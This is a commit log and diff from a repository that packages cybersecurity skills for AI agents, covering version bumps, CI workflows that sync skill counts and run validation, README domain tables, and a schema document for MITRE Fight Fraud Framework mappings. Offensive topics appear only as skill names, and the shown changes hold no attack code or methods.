26 Commits
Author SHA1 Message Date
mukul975 673da1f3b0 Fix validator: register hardware-firmware-security subdomain, skip .bak dirs
- Add hardware-firmware-security as a canonical subdomain (folding in the
  firmware-analysis/firmware-security aliases). The 4 new hardware/firmware
  skills failed validation because the subdomain was not in the allowed set.
- Skip skills/*.bak/ backup directories in --all mode; they have no SKILL.md
  and were producing 21 false failures.
- Result: validate-skill.py --all now reports 817/817 passing, exit 0.
2026-06-26 16:37:35 +02:00
mukul975 1f5cb12ac0 chore: auto-update index.json and skill count 2026-06-26 14:06:13 +00:00
MahipalandGitHub f3a472b105 Merge pull request #85 from nyxst4ck/nyxst4ck/auto-quote-pip-extras-20260621-091605
docs: quote pip extras install examples
2026-06-26 16:06:02 +02:00
MahipalandGitHub 4e165f9a8d Merge pull request #87 from ioxoi/fix/validator-and-disclaimers
Fix validator nested-name misparse (94 false fails), unify with CI, add authorized-use banner
2026-06-26 16:05:40 +02:00
mukul975 768ca51c8d chore: bump plugin version to v1.3.0 2026-06-22 17:11:46 +00:00
mukul975 101ca0bd88 chore: auto-update index.json and skill count 2026-06-22 17:08:43 +00:00
mukul975 8cae0648ec Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):

- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
  prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
  invocation, guardrails, model/data poisoning, system-prompt leakage,
  embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
  malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
  Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
  shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
  Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration

Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
2026-06-22 19:08:16 +02:00
Homan AnsariandClaude Opus 4.8 5f5edbb30b Fix validator nested-name misparse, unify with CI, add authorized-use banner
Issues found in review:

1. tools/validate-skill.py: parse_frontmatter operated on the stripped line, so
   an indented nested `name:` (under framework-mapping lists, e.g.
   `name: 'Create Fake Materials: Fake Website'`) clobbered the skill's
   top-level `name`. That produced 94 spurious "invalid kebab-case name"
   failures out of 762. Now indented (non-list) key lines are ignored, so only
   top-level keys define frontmatter fields. Result: 762/762 pass.

2. Two divergent validators: the CI workflow had its own weaker inline parser
   (no subdomain/tag/description checks) requiring a different field set than
   tools/validate-skill.py. CI now delegates to tools/validate-skill.py --all
   (single source of truth); REQUIRED_FIELDS aligned to include
   version/author/license. The duplicate-name and stats steps are unchanged.

3. README: added an explicit authorized-&-lawful-use disclaimer next to the
   existing "not affiliated with Anthropic" note, since the library ships
   offensive/dual-use techniques.

No skill content changed.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-22 18:09:19 +02:00
mukul975 13a1c4afd9 chore: auto-update index.json and skill count 2026-06-22 11:17:20 +00:00
mukul975 51140175a3 Fix plugin version (1.0.0->1.2.0), sync skill count to 762, automate both
- plugin.json was stuck at version 1.0.0 and count 753 — this is the file the
  installer reads, so installs showed 1.0 everywhere. Bumped to 1.2.0 / 762.
- Update skill count to 762 across README (badge + 6 mentions), marketplace.json,
  and plugin.json (754/753 -> 762 after merging PRs #70/#71/#81)
- update-index.yml: now auto-syncs the skill count into README.md,
  marketplace.json, and plugin.json on every skills/ change (no more manual drift)
- sync-marketplace-version.yml: release now bumps plugin.json too (not just
  marketplace.json) and pushes to main, so plugin version tracks the release tag
2026-06-22 13:16:56 +02:00
nyxst4ck 40869a8c1c docs: quote pip extras install examples 2026-06-21 09:16:20 -03:00
mukul975 7eebca88aa chore: auto-update index.json 2026-06-20 14:44:31 +00:00
MahipalandGitHub 0a12335b45 Merge pull request #81 from DevRedious/add-foundry-smart-contract-security-skill
Add skill: auditing-foundry-smart-contract-security
2026-06-20 16:44:21 +02:00
mukul975 8f0f3f2b60 chore: auto-update index.json 2026-06-20 14:44:17 +00:00
MahipalandGitHub 1ea94446c4 Merge pull request #71 from andrewibrah/add-grc-skills
Add 5 skills: GRC (800-30, RMF, CMMC, HIPAA, TPRM)
2026-06-20 16:44:09 +02:00
mukul975 3f82a6f962 chore: auto-update index.json 2026-06-20 14:44:06 +00:00
MahipalandGitHub 70b3d74943 Merge pull request #70 from andrewibrah/add-deception-skills
Add 2 skills: deception (MITRE Engage, cloud decoys)
2026-06-20 16:43:58 +02:00
mukul975 da758bf053 chore: auto-update index.json 2026-06-20 14:43:55 +00:00
MahipalandGitHub 2ad9e67a38 Merge pull request #84 from shanujans/main
fix: Defang malware example to prevent Windows Defender quarantine
2026-06-20 16:43:45 +02:00
mukul975 7d7c6342eb Add MITRE F3 badge to README badge cluster and bump frameworks count to 6 2026-06-20 16:27:18 +02:00
mukul975 9f9217875f chore: auto-update index.json 2026-06-20 14:06:27 +00:00
mukul975 886658219f Add MITRE Fight Fraud Framework (F3 v1.1) mappings to fraud-relevant skills
- Add mitre_f3 frontmatter block to 94 fraud-relevant skills (phishing,
  account takeover, banking malware, BEC, identity/KYC, payment/card fraud,
  money-mule/cash-out, ransomware extortion, DFIR, threat intel)
- Map each skill to F3 v1.1 tactics + precise technique IDs, including the
  two F3-specific tactics ATT&CK lacks: Positioning (FA0001) and
  Monetization (FA0002)
- All 123 F3 v1.1 technique IDs validated against the upstream STIX bundle
  (github.com/center-for-threat-informed-defense/fight-fraud-framework):
  0 invalid IDs, 0 invalid tactics, 0 name mismatches, no placeholder IDs
- mitre_f3 kept as a separate block from mitre_attack (F3 redefines several
  ATT&CK tactics for the fraud context)
- Add docs/mitre-f3-mapping.md schema reference
- Update README: F3 as the 6th framework, dedicated F3 section + badge
2026-06-20 16:06:04 +02:00
Shanujan SureshandGitHub 1aa3664910 Fix: Defang malware example to prevent AV quarantine 2026-06-18 14:43:19 +05:30
DevRediousandClaude Opus 4.8 25e0bc60e8 Add skill: auditing-foundry-smart-contract-security
Pre-deployment security audit skill for Solidity contracts in Foundry projects.
Complements analyzing-ethereum-smart-contract-vulnerabilities (which it is based
on) with a dev-side, Foundry-first workflow and full key-hygiene coverage.

Layers four independent techniques:
- Static analysis: Slither (90+ detectors) + Aderyn (Cyfrin)
- Symbolic execution: Mythril (optional)
- Property-based testing: forge fuzz + invariant tests (handler pattern)
- Manual review checklist + secrets/keystore audit

Includes scripts/agent.py (orchestrator aggregating Slither/Aderyn/Mythril/forge
test + coverage + private-key scan into a JSON report with a PASS/FAIL deploy
gate) and three references (tool cheat-sheets, SWC vulnerability checklist,
secure deployment & key hygiene with cast keystore / multisig).

Passes tools/validate-skill.py. Slither, Aderyn, forge test/coverage parsing and
the gate logic were verified end-to-end against a reentrancy-vulnerable contract.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-16 15:52:33 +02:00
andrewibrahandClaude Opus 4.8 e8832748d3 Add 5 skills: GRC (800-30, RMF, CMMC, HIPAA, TPRM)
- conducting-cyber-risk-assessment-with-nist-800-30
- executing-nist-rmf-authorization-to-operate
- achieving-cmmc-level-2-compliance
- implementing-hipaa-security-rule-safeguards
- managing-third-party-vendor-risk

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-06-04 09:57:31 -04:00
andrewibrahandClaude Opus 4.8 fd0f0e702a Add 2 skills: deception (MITRE Engage, cloud decoys)
- designing-adversary-engagement-with-mitre-engage
- deploying-cloud-deception-with-decoy-resources

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-06-04 09:56:25 -04:00
421 changed files with 44866 additions and 110 deletions
+5 -5
View File
@@ -5,15 +5,15 @@
"email": "mukuljangra5@gmail.com"
},
"metadata": {
"description": "754 cybersecurity skills for AI agents mapped to 5 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, and NIST AI RMF.",
"version": "1.2.0"
"description": "817 cybersecurity skills for AI agents mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework (F3).",
"version": "1.3.0"
},
"plugins": [
{
"name": "cybersecurity-skills",
"source": "./",
"description": "754 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more. Mapped to 5 frameworks.",
"version": "1.2.0",
"description": "817 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more. Mapped to 6 frameworks.",
"version": "1.3.0",
"author": {
"name": "mukul975"
},
@@ -34,4 +34,4 @@
"repository": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills"
}
]
}
}
+2 -2
View File
@@ -1,5 +1,5 @@
{
"name": "cybersecurity-skills",
"description": "753 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
"version": "1.0.0"
"description": "817 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
"version": "1.3.0"
}
@@ -14,6 +14,8 @@ jobs:
- uses: actions/checkout@v4
with:
token: ${{ secrets.GITHUB_TOKEN }}
ref: main
fetch-depth: 0
- name: Extract version from tag
id: version
@@ -22,18 +24,20 @@ jobs:
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "tag=$GITHUB_REF_NAME" >> $GITHUB_OUTPUT
- name: Update marketplace.json version
- name: Update marketplace.json and plugin.json version
env:
VERSION: ${{ steps.version.outputs.version }}
run: |
jq --arg v "$VERSION" '.metadata.version = $v | .plugins[].version = $v' .claude-plugin/marketplace.json > tmp.json
mv tmp.json .claude-plugin/marketplace.json
echo "Updated marketplace.json to version $VERSION"
jq --arg v "$VERSION" '.version = $v' .claude-plugin/plugin.json > tmp.json
mv tmp.json .claude-plugin/plugin.json
echo "Updated marketplace.json and plugin.json to version $VERSION"
- name: Commit and push
run: |
git config user.name "mukul975"
git config user.email "mukuljangra5@gmail.com"
git add .claude-plugin/marketplace.json
git diff --staged --quiet || git commit -m "chore: bump marketplace version to ${{ steps.version.outputs.tag }}"
git push
git add .claude-plugin/marketplace.json .claude-plugin/plugin.json
git diff --staged --quiet || git commit -m "chore: bump plugin version to ${{ steps.version.outputs.tag }}"
git push origin HEAD:main
+45 -3
View File
@@ -61,10 +61,52 @@ jobs:
print(f"Updated index.json: {len(skills)} skills")
EOF
- name: Commit updated index
- name: Sync skill count into README and marketplace
run: |
python3 << 'EOF'
import os, re, json
# Authoritative count: directories under skills/ that contain a SKILL.md
# and are not .bak backups (matches index.json generation above).
count = 0
for name in os.listdir("skills"):
if name.endswith(".bak"):
continue
if os.path.isfile(os.path.join("skills", name, "SKILL.md")):
count += 1
print(f"Authoritative skill count: {count}")
# README.md — replace the skills badge and every "<NNN> ... skills" phrase.
with open("README.md", encoding="utf-8") as f:
readme = f.read()
readme = re.sub(r"(badge/skills-)\d+", rf"\g<1>{count}", readme)
# "754 production-grade", "754 structured", "754 skills", "all 754 skills",
# "Scans 754 skill", "contains **754 skills**", BibTeX "{754 structured"
readme = re.sub(r"\b\d+(?=\s+production-grade cybersecurity skills)", str(count), readme)
readme = re.sub(r"\b\d+(?=\s+structured cybersecurity skills)", str(count), readme)
readme = re.sub(r"(all\s+)\d+(?=\s+skills)", rf"\g<1>{count}", readme)
readme = re.sub(r"(Scans\s+)\d+(?=\s+skill\b)", rf"\g<1>{count}", readme)
readme = re.sub(r"(contains\s+\*\*)\d+(?=\s+skills\*\*)", rf"\g<1>{count}", readme)
readme = re.sub(r"(\{)\d+(?=\s+structured cybersecurity skills)", rf"\g<1>{count}", readme)
with open("README.md", "w", encoding="utf-8") as f:
f.write(readme)
# marketplace.json + plugin.json — patch "<NNN> cybersecurity skills" in descriptions.
for path in (".claude-plugin/marketplace.json", ".claude-plugin/plugin.json"):
with open(path, encoding="utf-8") as f:
data = f.read()
data = re.sub(r"\b\d+(?=\s+cybersecurity skills)", str(count), data)
json.loads(data) # fail loudly if the regex broke JSON
with open(path, "w", encoding="utf-8") as f:
f.write(data)
print("Synced skill count into README.md, marketplace.json, plugin.json")
EOF
- name: Commit updated index and skill count
run: |
git config user.name "mukul975"
git config user.email "mukuljangra5@gmail.com"
git add index.json
git diff --staged --quiet || git commit -m "chore: auto-update index.json"
git add index.json README.md .claude-plugin/marketplace.json .claude-plugin/plugin.json
git diff --staged --quiet || git commit -m "chore: auto-update index.json and skill count"
git push
+5 -51
View File
@@ -15,57 +15,11 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Validate SKILL.md frontmatter with Python
run: |
python3 << 'EOF'
import os
import re
import sys
REQUIRED_FIELDS = ['name', 'description', 'domain', 'subdomain', 'tags', 'version', 'author', 'license']
errors = []
checked = 0
for root, dirs, files in os.walk('skills'):
for file in files:
if file == 'SKILL.md':
path = os.path.join(root, file)
checked += 1
with open(path, 'r', encoding='utf-8') as f:
content = f.read()
# Check frontmatter exists
fm_match = re.match(r'^---\n(.*?)\n---', content, re.DOTALL)
if not fm_match:
errors.append(f"{path}: Missing YAML frontmatter")
continue
fm = fm_match.group(1)
# Check required fields
for field in REQUIRED_FIELDS:
if not re.search(rf'^{field}:', fm, re.MULTILINE):
errors.append(f"{path}: Missing required field '{field}'")
# Check name format (kebab-case)
name_match = re.search(r'^name:\s*(.+)$', fm, re.MULTILINE)
if name_match:
name = name_match.group(1).strip().strip('"')
if not re.match(r'^[a-z0-9-]+$', name):
errors.append(f"{path}: Name '{name}' must be kebab-case")
if len(name) > 64:
errors.append(f"{path}: Name '{name}' exceeds 64 characters")
print(f"Checked {checked} SKILL.md files")
if errors:
print(f"\n{len(errors)} validation error(s):")
for e in errors:
print(f" ❌ {e}")
sys.exit(1)
else:
print(f"✅ All {checked} skills valid")
EOF
# Single source of truth: tools/validate-skill.py validates required
# frontmatter fields, kebab-case name, description length, subdomain, and
# tag count. (Previously this step duplicated a weaker inline parser.)
- name: Validate SKILL.md frontmatter
run: python3 tools/validate-skill.py --all
- name: Check for duplicate skill names
run: |
+58 -38
View File
@@ -10,9 +10,10 @@
[![GARS-2026 Survey](https://img.shields.io/badge/GARS--2026-Take%20the%20Survey-E8B84B?style=for-the-badge&logo=googleforms&logoColor=black)](https://mahipal.engineer/survey?utm_source=github_badge&utm_medium=readme&utm_campaign=gars2026)
[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg?style=flat-square)](LICENSE)
[![Skills](https://img.shields.io/badge/skills-754-brightgreen?style=flat-square)](#whats-inside--26-security-domains)
[![Frameworks](https://img.shields.io/badge/frameworks-5-orange?style=flat-square)](#five-frameworks-one-skill-library)
[![Domains](https://img.shields.io/badge/domains-26-9cf?style=flat-square)](#whats-inside--26-security-domains)
[![Skills](https://img.shields.io/badge/skills-817-brightgreen?style=flat-square)](#whats-inside--29-security-domains)
[![Frameworks](https://img.shields.io/badge/frameworks-6-orange?style=flat-square)](#six-frameworks-one-skill-library)
[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
[![Domains](https://img.shields.io/badge/domains-29-9cf?style=flat-square)](#whats-inside--29-security-domains)
[![Platforms](https://img.shields.io/badge/platforms-26%2B-blueviolet?style=flat-square)](#compatible-platforms)
[![GitHub stars](https://img.shields.io/github/stars/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers)
[![GitHub forks](https://img.shields.io/github/forks/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/network/members)
@@ -23,25 +24,27 @@
[![Hermes Agent](https://img.shields.io/badge/Hermes_Agent-compatible-blueviolet?style=flat)](https://github.com/NousResearch/hermes-agent)
**754 production-grade cybersecurity skills · 26 security domains · 5 framework mappings · 26+ AI platforms**
**817 production-grade cybersecurity skills · 29 security domains · 6 framework mappings · 26+ AI platforms**
[Get Started](#quick-start) · [What's Inside](#whats-inside--26-security-domains) · [Frameworks](#five-frameworks-one-skill-library) · [Platforms](#compatible-platforms) · [Contributing](#contributing)
[Get Started](#quick-start) · [What's Inside](#whats-inside--29-security-domains) · [Frameworks](#five-frameworks-one-skill-library) · [Platforms](#compatible-platforms) · [Contributing](#contributing)
</div>
---
> ⚠️ **Community Project** — This is an independent, community-created project. Not affiliated with Anthropic PBC.
> ⚠️ **Community Project** — This is an independent, community-created project. Not affiliated with Anthropic PBC.
>
> 🔐 **Authorized & lawful use only.** This library includes offensive and dual-use techniques (e.g. red-team C2, phishing simulation, exploitation) intended for **authorized penetration testing, security research, defense, and education**. Only use them against systems you own or have **explicit written permission** to test, and comply with all applicable laws and rules of engagement. You are solely responsible for how you use these skills. See [SECURITY.md](SECURITY.md) and [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md).
## Give any AI agent the security skills of a senior analyst
A junior analyst knows which Volatility3 plugin to run on a suspicious memory dump, which Sigma rules catch Kerberoasting, and how to scope a cloud breach across three providers. **Your AI agent doesn't — unless you give it these skills.**
This repo contains **754 structured cybersecurity skills** spanning **26 security domains**, each following the [agentskills.io](https://agentskills.io) open standard. Every skill is mapped to **five industry frameworks** — MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, and NIST AI RMF — making this the only open-source skills library with unified cross-framework coverage. Clone it, point your agent at it, and your next security investigation gets expert-level guidance in seconds.
This repo contains **817 structured cybersecurity skills** spanning **29 security domains**, each following the [agentskills.io](https://agentskills.io) open standard. Every skill is mapped to **six industry frameworks** — MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework (F3) — making this the only open-source skills library with unified cross-framework coverage. Clone it, point your agent at it, and your next security investigation gets expert-level guidance in seconds.
## Five frameworks, one skill library
## Six frameworks, one skill library
No other open-source skills library maps every skill to all five frameworks. One skill, five compliance checkboxes.
No other open-source skills library maps every skill to all of these frameworks. One skill, six compliance checkboxes.
| Framework | Version | Scope in this repo | What it maps |
|---|---|---|---|
@@ -50,12 +53,26 @@ No other open-source skills library maps every skill to all five frameworks. On
| [MITRE ATLAS](https://atlas.mitre.org) | v5.4 | 16 tactics · 84 techniques | AI/ML adversarial threats |
| [MITRE D3FEND](https://d3fend.mitre.org) | v1.3 | 7 categories · 267 techniques | Defensive countermeasures |
| [NIST AI RMF](https://airc.nist.gov/AI_RMF) | 1.0 | 4 functions · 72 subcategories | AI risk management |
| [MITRE F3 (Fight Fraud Framework)](https://ctid.mitre.org/fraud/) | v1.1 (2026-04-09) | 8 tactics · 123 techniques · 94 fraud-relevant skills | Cyber-enabled financial fraud TTPs |
**Example — a single skill maps across all five:**
**Example — a single skill maps across all six:**
| Skill | ATT&CK | NIST CSF | ATLAS | D3FEND | AI RMF |
|---|---|---|---|---|---|
| `analyzing-network-traffic-of-malware` | T1071 | DE.CM | AML.T0047 | D3-NTA | MEASURE-2.6 |
| Skill | ATT&CK | NIST CSF | ATLAS | D3FEND | AI RMF | F3 |
|---|---|---|---|---|---|---|
| `analyzing-network-traffic-of-malware` | T1071 | DE.CM | AML.T0047 | D3-NTA | MEASURE-2.6 | — |
| `detecting-business-email-compromise` | T1566 | DE.AE | — | — | — | F1005.006 · monetization |
### 🆕 MITRE Fight Fraud Framework (F3) — 94 fraud-relevant skills
[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
The **[MITRE Fight Fraud Framework (F3)](https://ctid.mitre.org/fraud/)** was released **April 9, 2026** by MITRE's Center for Threat-Informed Defense (CTID), co-developed with JPMorganChase, Citigroup, Lloyds Banking Group, Standard Chartered, CrowdStrike, Verizon Business, FS-ISAC, and others. It is an ATT&CK-compatible TTP catalog for **cyber-enabled financial fraud** — filling the gap ATT&CK leaves after initial compromise.
F3 v1.1 adds **two fraud-specific tactics** that ATT&CK does not enumerate:
- **Positioning** (`FA0001`) — actions taken after access to collect/manipulate data and prepare the fraud (synthetic-identity seeding, account warming, beneficiary setup, SIM-swap pre-positioning, banking-session hijack).
- **Monetization** (`FA0002`) — converting stolen assets into usable funds (money-mule layering, APP fraud, crypto off-ramping, card cash-out, refund/chargeback abuse).
Fraud-specific techniques use `F1XXX` IDs (e.g. `F1005.003` Add Beneficiary, `F1025.003` Wire Transfer, `F1007` Adversary-in-the-Browser); reused ATT&CK techniques keep their `T1XXX` IDs. Mappings live in each skill's `mitre_f3:` frontmatter block — all 123 F3 v1.1 technique IDs were verified against the upstream STIX bundle. See [`docs/mitre-f3-mapping.md`](docs/mitre-f3-mapping.md) for the schema.
### MITRE ATT&CK v19.1 — 754/754 skills mapped
@@ -128,47 +145,50 @@ Existing security tool repos give you wordlists, payloads, or exploit code. None
**Anthropic Cybersecurity Skills** is not a collection of scripts or checklists. It is an **AI-native knowledge base** built from the ground up for the agentskills.io standard — YAML frontmatter for sub-second discovery, structured Markdown for step-by-step execution, and reference files for deep technical context. Every skill encodes real practitioner workflows, not generated summaries.
## What's inside — 26 security domains
## What's inside — 29 security domains
| Domain | Skills | Key capabilities |
|---|---|---|
| Cloud Security | 60 | AWS, Azure, GCP hardening · CSPM · cloud forensics |
| Threat Hunting | 55 | Hypothesis-driven hunts · LOTL detection · behavioral analytics |
| Threat Intelligence | 50 | STIX/TAXII · MISP · feed integration · actor profiling |
| Cloud Security | 66 | AWS, Azure, GCP hardening · CSPM · cloud attack emulation · cloud forensics |
| Threat Hunting | 58 | Hypothesis-driven hunts · LOTL detection · EVTX hunting · fleet hunting |
| Threat Intelligence | 52 | STIX/TAXII · MISP · OpenCTI · feed integration · actor profiling |
| Network Security | 43 | IDS/IPS · firewall rules · VLAN segmentation · traffic analysis |
| Web Application Security | 42 | OWASP Top 10 · SQLi · XSS · SSRF · deserialization |
| Network Security | 40 | IDS/IPS · firewall rules · VLAN segmentation · traffic analysis |
| Digital Forensics | 41 | Disk imaging · memory forensics · Hayabusa/KAPE/Plaso timelines |
| Malware Analysis | 39 | Static/dynamic analysis · reverse engineering · sandboxing |
| Digital Forensics | 37 | Disk imaging · memory forensics · timeline reconstruction |
| Security Operations | 36 | SIEM correlation · log analysis · alert triage |
| Identity & Access Management | 35 | IAM policies · PAM · zero trust identity · Okta · SailPoint |
| SOC Operations | 33 | Playbooks · escalation workflows · metrics · tabletop exercises |
| Container Security | 30 | K8s RBAC · image scanning · Falco · container forensics |
| Identity & Access Management | 37 | Entra ID/ROADtools · device-code phishing · PAM · zero trust identity |
| SOC Operations | 35 | Playbooks · escalation workflows · Graph-log detection · tabletop exercises |
| Red Teaming | 33 | ADCS/Certipy · BloodHound CE · Sliver/Havoc C2 · NTLM relay |
| Container Security | 33 | K8s RBAC · image scanning · Falco · container escape |
| Security Operations | 28 | SIEM correlation · log analysis · alert triage |
| OT/ICS Security | 28 | Modbus · DNP3 · IEC 62443 · historian defense · SCADA |
| API Security | 28 | GraphQL · REST · OWASP API Top 10 · WAF bypass |
| Incident Response | 26 | Breach containment · ransomware response · IR playbooks |
| Vulnerability Management | 25 | Nessus · scanning workflows · patch prioritization · CVSS |
| Incident Response | 25 | Breach containment · ransomware response · IR playbooks |
| Red Teaming | 24 | Full-scope engagements · AD attacks · phishing simulation |
| Penetration Testing | 23 | Network · web · cloud · mobile · wireless pentesting |
| Penetration Testing | 21 | Network · web · cloud · mobile · NetExec lateral movement |
| DevSecOps | 18 | CI/CD security · Trivy IaC/image scanning · code signing |
| Zero Trust Architecture | 17 | BeyondCorp · CISA maturity model · microsegmentation |
| Endpoint Security | 17 | EDR · LOTL detection · fileless malware · persistence hunting |
| DevSecOps | 17 | CI/CD security · code signing · Terraform auditing |
| Phishing Defense | 16 | Email authentication · BEC detection · phishing IR |
| Cryptography | 14 | TLS · Ed25519 · certificate transparency · key management |
| Zero Trust Architecture | 13 | BeyondCorp · CISA maturity model · microsegmentation |
| Mobile Security | 12 | Android/iOS analysis · mobile pentesting · MDM forensics |
| Ransomware Defense | 7 | Precursor detection · response · recovery · encryption analysis |
| Compliance & Governance | 5 | CIS benchmarks · SOC 2 · regulatory frameworks |
| Deception Technology | 2 | Honeytokens · breach detection canaries |
| Cryptography | 16 | TLS · Ed25519 · post-quantum migration · key management |
| Phishing Defense | 15 | Email authentication · BEC detection · phishing IR |
| AI Security | 14 | LLM red-teaming (garak/PyRIT) · prompt injection · MCP/agentic security · guardrails |
| Mobile Security | 13 | Android/iOS analysis · mobile pentesting · MDM forensics |
| Ransomware Defense | 13 | Precursor detection · response · recovery · encryption analysis |
| Compliance & Governance | 9 | NIST 800-30/RMF · CMMC · HIPAA · TPRM · CIS benchmarks |
| Supply Chain Security | 8 | SBOMs · dependency confusion · malicious-package triage · SLSA/Sigstore |
| Deception Technology | 6 | Honeytokens · canarytokens · breach detection |
| Hardware & Firmware Security | 4 | CHIPSEC/UEFI audit · Secure Boot bypass · TPM attestation · bootkit hunting |
## How AI agents use these skills
Each skill costs **~30 tokens to scan** (frontmatter only) and **5002,000 tokens to fully load** (complete workflow). This progressive disclosure architecture lets agents search all 754 skills in a single pass without blowing context windows.
Each skill costs **~30 tokens to scan** (frontmatter only) and **5002,000 tokens to fully load** (complete workflow). This progressive disclosure architecture lets agents search all 817 skills in a single pass without blowing context windows.
```
User prompt: "Analyze this memory dump for signs of credential theft"
Agent's internal process:
1. Scans 754 skill frontmatters (~30 tokens each)
1. Scans 817 skill frontmatters (~30 tokens each)
→ identifies 12 relevant skills by matching tags, description, domain
2. Loads top 3 matches:
@@ -356,7 +376,7 @@ All platforms that support the [agentskills.io](https://agentskills.io) standard
|---|---|---|
| [v1.0.0](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.0.0) | March 11, 2026 | 734 skills · 26 domains · MITRE ATT&CK + NIST CSF 2.0 mapping · ATT&CK Navigator layer |
Skills have continued to grow on `main` since v1.0.0 — the library now contains **754 skills** with **5-framework mapping** (MITRE ATLAS, D3FEND, and NIST AI RMF added post-release). Check [Releases](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases) for the latest tagged version.
Skills have continued to grow on `main` since v1.0.0 — the library now contains **817 skills** with **6-framework mapping** (MITRE ATLAS, D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework added post-release). Check [Releases](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases) for the latest tagged version.
## Contributing
@@ -389,7 +409,7 @@ If you use this project in research or publications:
year = {2026},
url = {https://github.com/mukul975/Anthropic-Cybersecurity-Skills},
license = {Apache-2.0},
note = {754 structured cybersecurity skills for AI agents,
note = {817 structured cybersecurity skills for AI agents,
mapped to MITRE ATT\&CK, NIST CSF 2.0, MITRE ATLAS,
MITRE D3FEND, and NIST AI RMF}
}
+93
View File
@@ -0,0 +1,93 @@
# MITRE Fight Fraud Framework (F3) — Mapping Schema
This repository maps fraud-relevant skills to the **MITRE Fight Fraud Framework (F3)**,
released April 9, 2026 by MITRE's Center for Threat-Informed Defense (CTID). F3 is an
ATT&CK-compatible TTP catalog for cyber-enabled financial fraud.
- Upstream project: <https://ctid.mitre.org/fraud/>
- Source repo: <https://github.com/center-for-threat-informed-defense/fight-fraud-framework>
- License: Apache-2.0
- Mapped version in this repo: **F3 v1.1**
## Why F3 in addition to ATT&CK
ATT&CK collapses post-compromise fraud into the single `T1657` (Financial Theft)
technique. F3 decomposes the "how a cyber intrusion becomes a financial loss" stages
into two dedicated tactics that ATT&CK does not have:
- **Positioning** (`FA0001`) — after access, collect/manipulate data and prepare the fraud.
- **Monetization** (`FA0002`) — convert stolen assets into usable funds.
So `mitre_attack` answers "how did the adversary get in / operate technically" and
`mitre_f3` answers "how did that turn into money." They are kept as **separate
frontmatter blocks** because F3 redefines several ATT&CK tactics for the fraud context.
## The 8 F3 v1.1 tactics
| Tactic slug | F3 ID | Origin |
|---|---|---|
| `reconnaissance` | TA0043 | ATT&CK (redefined) |
| `resource-development` | TA0042 | ATT&CK (redefined) |
| `initial-access` | TA0001 | ATT&CK (redefined) |
| `stealth` | TA0005 | ATT&CK (redefined) |
| `positioning` | **FA0001** | **F3-new** |
| `execution` | TA0002 | ATT&CK (redefined) |
| `monetization` | **FA0002** | **F3-new** |
| `defense-impairment` | TA0112 | ATT&CK (redefined) |
## Technique ID conventions
- **`F1XXX`** — fraud-specific techniques introduced by F3 (e.g. `F1005.003`
Account Manipulation: Add Beneficiary, `F1025.003` Electronic Funds Transfer:
Wire Transfer, `F1018` Convert to Cryptocurrency).
- **`T1XXX`** — ATT&CK techniques reused verbatim inside F3 (e.g. `T1566` Phishing,
`T1586` Compromise Accounts, `T1557` Adversary-in-the-Middle).
- Sub-techniques use ATT&CK dot notation (`F1005.003`, `T1566.002`).
Every ID used in this repo is a real, active technique present in the F3 v1.1 STIX
bundle — there are no `TBD`/placeholder IDs.
## Frontmatter schema
The `mitre_f3` block sits alongside the existing `mitre_attack` block:
```yaml
mitre_f3:
version: '1.1'
tactics:
- positioning
- monetization
techniques:
- id: F1005.003
